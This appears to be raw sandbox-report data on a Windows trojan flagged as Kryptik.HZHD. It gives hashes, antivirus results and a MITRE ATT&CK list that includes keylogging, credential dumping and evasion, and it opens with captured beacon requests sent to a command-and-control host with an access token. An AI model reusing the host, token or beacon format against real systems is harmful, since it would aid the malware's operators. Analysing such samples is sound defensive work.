W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:18 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:18 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:19 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:19 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:20 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:20 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 63 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=2-EMPTY" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:21 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D....... "POST / HTTP/1.1 Cache-Control: no-cache Connection: Keep-Alive Pragma: no-cache Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Content-Length: 61 Host: dafkov.shop:6843" with payload::==> "access_token=311657b6-44a5-4e84-bbe8-3111804e8f9f&debug=2-PRE" HTTP/1.1 200 OK Server: nginx Date: Fri 15 May 2026 20:41:21 GMT Content-Type: application/json; charset=utf-8 Content-Length: 16 Connection: keep-alive Vary: Origin Access-Control-Allow-Credentials: true ETag: W/"10-oV4hJxRVSENxc/wX8+mA4/Pe4tA" with response body ==>7B2273756363657373223A747275657D.......3b:T400,AAABAAEAICAQAAAAAADoAgAAFgAAACgAAAAgAAAAQAAAAAEABAAAAAAAgAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAACAAAAAgIAAgAAAAIAAgACAgAAAgICAAMDAwAAAAP8AAP8AAAD//wD/AAAA/wD/AP//AAD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAB4//+HAAAAAAAAAAAAAAB/iPiPiPcAAAAAAAAAAABIhnhABIdohAAAAAAAAAAE/4eAAAAIeP9AAAAAAAAACHd/cAAAB/d3gAAAAAAAAH+IiGAAAAaIiPcAAAAAAAD/AH9wAAAH9wD/AAAAAAAHiAB4gAAACIcAiHAAAAAACHiHhIcAAHhIeIeAAAAAAA+Hj/iPiIj4j/h48AAAAAAPePcAB4d4cAB/h/AAAAAADwhwAAB3dwAAB4DwAAAAAA94AAAACIAAAACH8AAAAAAIiAAAAAiAAAAAiIAAAAAAB/gAAAAIgAAAAI9wAAAAAAD/QAAAeIcAAAT/AAAAAAAAf4AABvh/YAAI9wAAAAAAAAiIh4j3f4h4iIAAAAAAAAAE92eIgAiIdn9AAAAAAAAAAEiHeIAIh3iEAAAAAAAAAAAAf/eP+H/3AAAAAAAAAAAAAAB4//+HAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD/wAP//wAA//wAAD/4AAAf8AAAD+AAAAfAAAADwAAAA4AAAAGAAAABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAYAAAAHAAAADwAAAA+AAAAfwAAAP+AAAH/wAAD//AAD//8AD/w==1d:["$","$L2",null,{"children":[["$","script",null,{"type":"application/ld+json","dangerouslySetInnerHTML":{"__html":"$25"}}],["$","$L26",null,{"initialData":{"schema_version":"1.0.15","sha256":"89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b","overall_status":"SUCCESS","all_analysis_status":{"qsp_status":"NOT_AVAILABLE","sandbox_status":"SUCCESS","fastscan_status":"SUCCESS"},"verdict":"malicious","threat_score":100,"unified_at_epoch_ms":1790266775819,"unified_at":"2026-09-24T16:19:35.819Z","metadata":{"hashes":{"sha256":"89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b","sha1":"c4f52c7603762413f46f8b5d42dfdd4f80f9ebb0","md5":"0079349e533d6060bc6d731e0467ede7","sha512":"4b2a99f6eead743f6b2f687b20ca59348d8a731ed0d24e7a7ba65a4f7a7dd0b604adcea140f2c60c90dd7b1205ed25d41c0576ee9cd07403f393922d8033e829","ssdeep":"12288:WTpTlxEwPQHIqaIt9Ck3kBK/Z8wULwkkqCbrOZEoeEeS3E6/1U6UFR67/JTWAnSd:WTpxxEwPQHIqaIt9Ck3kBK/Z8wULwkk9","ssdeep_chunks":["12288:WTpTlxE","12288:TpTlxEw","12288:pTlxEwP","12288:TlxEwPQ","12288:lxEwPQH","12288:xEwPQHI","12288:EwPQHIq","12288:wPQHIqa","12288:PQHIqaI","12288:QHIqaIt","12288:HIqaIt9","12288:IqaIt9C","12288:qaIt9Ck","12288:aIt9Ck3","12288:It9Ck3k","12288:t9Ck3kB","12288:9Ck3kBK","12288:Ck3kBK/","12288:k3kBK/Z","12288:3kBK/Z8","12288:kBK/Z8w","12288:BK/Z8wU","12288:K/Z8wUL","12288:/Z8wULw","12288:Z8wULwk","12288:8wULwkk","12288:wULwkkq","12288:ULwkkqC","12288:LwkkqCb","12288:wkkqCbr","12288:kkqCbrO","12288:kqCbrOZ","12288:qCbrOZE","12288:CbrOZEo","12288:brOZEoe","12288:rOZEoeE","12288:OZEoeEe","12288:ZEoeEeS","12288:EoeEeS3","12288:oeEeS3E","12288:eEeS3E6","12288:EeS3E6/","12288:eS3E6/1","12288:S3E6/1U","12288:3E6/1U6","12288:E6/1U6U","12288:6/1U6UF","12288:/1U6UFR","12288:1U6UFR6","12288:U6UFR67","12288:6UFR67/","12288:UFR67/J","12288:FR67/JT","12288:R67/JTW","12288:67/JTWA","12288:7/JTWAn","12288:/JTWAnS","12288:JTWAnSd","24576:WTpTlxE","24576:TpTlxEw","24576:pTlxEwP","24576:TlxEwPQ","24576:lxEwPQH","24576:xEwPQHI","24576:EwPQHIq","24576:wPQHIqa","24576:PQHIqaI","24576:QHIqaIt","24576:HIqaIt9","24576:IqaIt9C","24576:qaIt9Ck","24576:aIt9Ck3","24576:It9Ck3k","24576:t9Ck3kB","24576:9Ck3kBK","24576:Ck3kBK/","24576:k3kBK/Z","24576:3kBK/Z8","24576:kBK/Z8w","24576:BK/Z8wU","24576:K/Z8wUL","24576:/Z8wULw","24576:Z8wULwk","24576:8wULwkk","24576:wULwkkq","24576:ULwkkqC","24576:LwkkqCb","24576:wkkqCbr","24576:kkqCbrO","24576:kqCbrOZ","24576:qCbrOZE","24576:CbrOZEo","24576:brOZEoe","24576:rOZEoeE","24576:OZEoeEe","24576:ZEoeEeS","24576:EoeEeS3","24576:oeEeS3E","24576:eEeS3E6","24576:EeS3E6/","24576:eS3E6/1","24576:S3E6/1U","24576:3E6/1U6","24576:E6/1U6U","24576:6/1U6UF","24576:/1U6UFR","24576:1U6UFR6","24576:U6UFR67","24576:6UFR67/","24576:UFR67/J","24576:FR67/JT","24576:R67/JTW","24576:67/JTWA","24576:7/JTWAn","24576:/JTWAnS","24576:JTWAnSd","12288:WTpxxEw","12288:TpxxEwP","12288:pxxEwPQ","12288:xxEwPQH","12288:wULwkk9"]},"file_info":{"file_name":"89b1b3c8ccdca7046fe30361f1fd9e70bd501daea2a28988ffa028c3428c680b.bin","file_type":["peexe","64bits","executable"],"file_type_id":"64-bit exe","file_size":702176,"is_container_sample":false,"url_analysis":false},"submissions":{"first_seen":1778877638000,"last_seen":1778877644000,"last_multi_scan":1778877644000}},"detections":{"summary":{"verdict":"malicious","score":100,"tags":null},"stats":{"av":{"malicious_count":1,"suspicious_count":0,"total_engines":28},"attributions":{"malware_families_count":1,"threat_actors_count":0,"campaigns_count":0,"threat_types_count":0,"cves_count":0},"mitre_attacks":{"total":54},"sandbox_signatures":{"informative_count":98,"suspicious_count":10,"malicious_count":5,"total":113},"rule_matches":{"yara_count":0,"sigma_count":0,"suricata_count":0}},"av_detections":{"engines":{"ahnlab":{"name":"AhnLab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"antiy":{"name":"Antiy","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"aurora":{"name":"Aurora","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"avira":{"name":"Avira","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"bitdefender":{"name":"Bitdefender","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"clamav":{"name":"ClamAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"cmc":{"name":"CMC","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"crowdstrike":{"name":"CrowdStrike","success":true,"verdict":"undetected","status":"clean","progress":100,"data_source":"CrowdStrike","permalink":"https://www.crowdstrike.com/en-us/platform/endpoint-security/"},"emsisoft":{"name":"Emsisoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"eset":{"name":"ESET","success":true,"verdict":"malicious","threat_name":"a variant of Win32/Kryptik.HZHD trojan","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"filseclab":{"name":"Filseclab","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"gridinsoft":{"name":"Gridinsoft","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"huorong":{"name":"Huorong","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"k7":{"name":"K7","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"lionic":{"name":"Lionic","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"nanoav":{"name":"NANOAV","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"netgate":{"name":"NETGATE","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"rocketcyber":{"name":"RocketCyber","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"scrutiny":{"name":"Scrutiny","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sentinelone":{"name":"SentinelOne","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"sophos":{"name":"Sophos","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"tachyon":{"name":"TACHYON","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"trellix":{"name":"Trellix","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"varist":{"name":"Varist","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"viritexplorer":{"name":"Vir.IT eXplorer","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"virusblokada":{"name":"VirusBlokAda","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"xcitium":{"name":"Xcitium","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"},"zillya":{"name":"Zillya!","success":true,"verdict":"undetected","progress":100,"data_source":"MetaDefender","permalink":"https://www.opswat.com/products/metadefender?utm_campaign=Technology%+Partners&utm_source=HA"}}},"rule_matches":{},"attributions":{"malware_families":[{"value":"Kryptik.HZHD trojan","sources":[{"report_type":"quickscan","report_id":""}]}]},"mitre_attacks":[{"tactic":"Execution","technique":"Native API","attack_id":"T1106","attack_id_wiki":"https://attack.mitre.org/techniques/T1106","identifiers":[{"type":"informative","value":"Contains ability to create/open files (API string)"},{"type":"informative","value":"Contains ability to set/get the last-error code for a calling thread (API string)"},{"type":"informative","value":"Contains ability to load modules (API string)"},{"type":"informative","value":"Contains ability to execute an application (API string)"},{"type":"informative","value":"Calls an API typically used to retrieve function addresses"},{"type":"informative","value":"Input file contains API references not part of its Import Address Table (IAT)"},{"type":"informative","value":"Contains ability to execute Windows APIs"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Execution","technique":"Windows Command Shell","attack_id":"T1059.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1059/003","identifiers":[{"type":"informative","value":"Contains ability to retrieve the command-line string for the current process (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Execution","technique":"Shared Modules","attack_id":"T1129","attack_id_wiki":"https://attack.mitre.org/techniques/T1129","identifiers":[{"type":"informative","value":"Calls an API typically used to load libraries"},{"type":"informative","value":"Looks up procedures from modules (excluding apphelp.dll, kernel32.dll, user32.dll, gdi32.dll, ole32.dll, comctl32.dll, uxtheme.dll, oleaut32.dll, version.dll, msctfime.ime)"},{"type":"informative","value":"Loads the RPC (Remote Procedure Call) module DLL"},{"type":"informative","value":"Loads modules at runtime"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Persistence","technique":"Component Object Model Hijacking","attack_id":"T1546.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1546/015","identifiers":[{"type":"informative","value":"Overview of unique CLSIDs touched in registry"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Persistence","technique":"Windows Service","attack_id":"T1543.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1543/003","identifiers":[{"type":"informative","value":"Creates or modifies windows services"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Privilege Escalation","technique":"ListPlanting","attack_id":"T1055.015","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/015","identifiers":[{"type":"informative","value":"Able to visualize and control listed components (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Privilege Escalation","technique":"Dynamic-link Library Injection","attack_id":"T1055.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/001","identifiers":[{"type":"informative","value":"Contains ability to load/free library (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Privilege Escalation","technique":"Exploitation for Privilege Escalation","attack_id":"T1068","attack_id_wiki":"https://attack.mitre.org/techniques/T1068","identifiers":[{"type":"informative","value":"Opens the Kernel Security Device Driver (KsecDD) of Windows"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Privilege Escalation","technique":"Thread Execution Hijacking","attack_id":"T1055.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1055/003","identifiers":[{"type":"informative","value":"Creates a thread in a self process"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"User Activity Based Checks","attack_id":"T1497.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/002","identifiers":[{"type":"informative","value":"Able to identify virtual environment by using user activity (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"Time Based Checks","attack_id":"T1497.003","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/003","identifiers":[{"type":"informative","value":"Contains ability to delay execution by waiting for signal/timeout (API string)"},{"type":"informative","value":"Contains ability to retrieve the time elapsed since the system was started (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"Debugger Evasion","attack_id":"T1622","attack_id_wiki":"https://attack.mitre.org/techniques/T1622","identifiers":[{"type":"informative","value":"Contains ability to check debugger is running (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"File Deletion","attack_id":"T1070.004","attack_id_wiki":"https://attack.mitre.org/techniques/T1070/004","identifiers":[{"type":"informative","value":"Contains ability to delete files/directories (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"File and Directory Permissions Modification","attack_id":"T1222","attack_id_wiki":"https://attack.mitre.org/techniques/T1222","identifiers":[{"type":"informative","value":"Contains ability to modify file attributes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"System Checks","attack_id":"T1497.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1497/001","sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"Virtualization/Sandbox Evasion","attack_id":"T1497","attack_id_wiki":"https://attack.mitre.org/techniques/T1497","identifiers":[{"type":"informative","value":"Attempts to call APIs commonly associated with anti-analysis and evasion techniques"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"Obfuscated Files or Information","attack_id":"T1027","attack_id_wiki":"https://attack.mitre.org/techniques/T1027","identifiers":[{"type":"informative","value":"Sample file has high entropy (likely encrypted/compressed content)"},{"type":"informative","value":"Shows ability to obfuscate file or information"},{"type":"informative","value":"Loads the Bcrypt module DLL"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"Mutual Exclusion","attack_id":"T1480.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1480/002","identifiers":[{"type":"informative","value":"Creates mutants"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"Code Signing","attack_id":"T1553.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1553/002","identifiers":[{"type":"malicious","value":"The input sample is signed with an invalid certificate"},{"type":"informative","value":"The input sample is signed with a certificate"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"Software Packing","attack_id":"T1027.002","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/002","identifiers":[{"type":"suspicious","value":"PE file has unusual entropy resources"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"Embedded Payloads","attack_id":"T1027.009","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/009","identifiers":[{"type":"suspicious","value":"Section contains high entropy"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"Dynamic API Resolution","attack_id":"T1027.007","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/007","identifiers":[{"type":"informative","value":"Able to read the PEB (Process Environment Block) structure"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"Indicator Removal from Tools","attack_id":"T1027.005","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/005","identifiers":[{"type":"informative","value":"XOR operations in executable file detected"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"Encrypted/Encoded File","attack_id":"T1027.013","attack_id_wiki":"https://attack.mitre.org/techniques/T1027/013","identifiers":[{"type":"suspicious","value":"YARA signature match – Anomalous PE file structure"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"Execution Guardrails","attack_id":"T1480","attack_id_wiki":"https://attack.mitre.org/techniques/T1480","identifiers":[{"type":"informative","value":"Shows ability to use execution guardrails"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Defense Evasion","technique":"Deobfuscate/Decode Files or Information","attack_id":"T1140","attack_id_wiki":"https://attack.mitre.org/techniques/T1140","identifiers":[{"type":"informative","value":"Shows ability to deobfuscate/decode files or information"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Credential Access","technique":"Keylogging","attack_id":"T1056.001","attack_id_wiki":"https://attack.mitre.org/techniques/T1056/001","identifiers":[{"type":"informative","value":"Able to retrieve information about pressed keystrokes (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Credential Access","technique":"OS Credential Dumping","attack_id":"T1003","attack_id_wiki":"https://attack.mitre.org/techniques/T1003","identifiers":[{"type":"informative","value":"Attempts to invoke APIs commonly associated with credential theft and data exfiltration functionality"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Discovery","technique":"Application Window Discovery","attack_id":"T1010","attack_id_wiki":"https://attack.mitre.org/techniques/T1010","identifiers":[{"type":"informative","value":"Contains ability to retrieve open application windows (API string)"},{"type":"informative","value":"Contains ability to find open windows (API string)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Discovery","technique":"System Information Discovery","attack_id":"T1082","attack_id_wiki":"https://attack.mitre.org/techniques/T1082","identifiers":[{"type":"informative","value":"Calls an API typically used to retrieve computer name"},{"type":"informative","value":"Contains ability to read software policies"},{"type":"informative","value":"Contains ability to retrieve a module handle (API string)"},{"type":"informative","value":"Able to retrieve information about the current system (API string)"},{"type":"informative","value":"Calls an API typically used to get system version information"},{"type":"informative","value":"Reads information about supported languages"},{"type":"informative","value":"Reads the active computer name"},{"type":"informative","value":"Contains ability to retrieve the specified system metric or system configuration setting (API string)"},{"type":"informative","value":"Contains ability to retrieve the NetBIOS name of the local computer (API string)"},{"type":"informative","value":"Contains ability to retrieve the OS information (API string)"},{"type":"informative","value":"Contains ability to retrieve the host's architecture (API string)"},{"type":"informative","value":"Calls an API typically used to get product type"},{"type":"informative","value":"Attempts to call APIs to gather system and hardware detail"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Discovery","technique":"File and Directory Discovery","attack_id":"T1083","attack_id_wiki":"https://attack.mitre.org/techniques/T1083","identifiers":[{"type":"informative","value":"Tries to access non-existent files (non-executable)"},{"type":"informative","value":"Contains ability to enumerate files on disk (API string)"},{"type":"informative","value":"Contains ability to read files (API string)"},{"type":"informative","value":"Contains ability to retrieve file and directory information (API string)"},{"type":"informative","value":"Able to rename or move file/directory (API string)"},{"type":"informative","value":"Contains ability to retrieve path in which Windows is installed (API string)"},{"type":"informative","value":"Touches files"},{"type":"informative","value":"Tries to access non-existent files (executable)"}],"sources":[{"report_type":"sandbox","report_id":"6a0784cbed3ead7e1f0d04f7"}]},{"tactic":"Discovery","technique":"Process Discovery","attack_id":"T1057","attack_id_wiki":"https://attack.mitre.org/techniques/T1057","identifiers":[{"type":"informative","value":"Contains ability to enumerate process and/or its information (API string)"},{"type":"informative","value":"Calls an API typically used for taking snapshot of the specified processes"},{"type":"informative","value":"Queries basic information of the specified 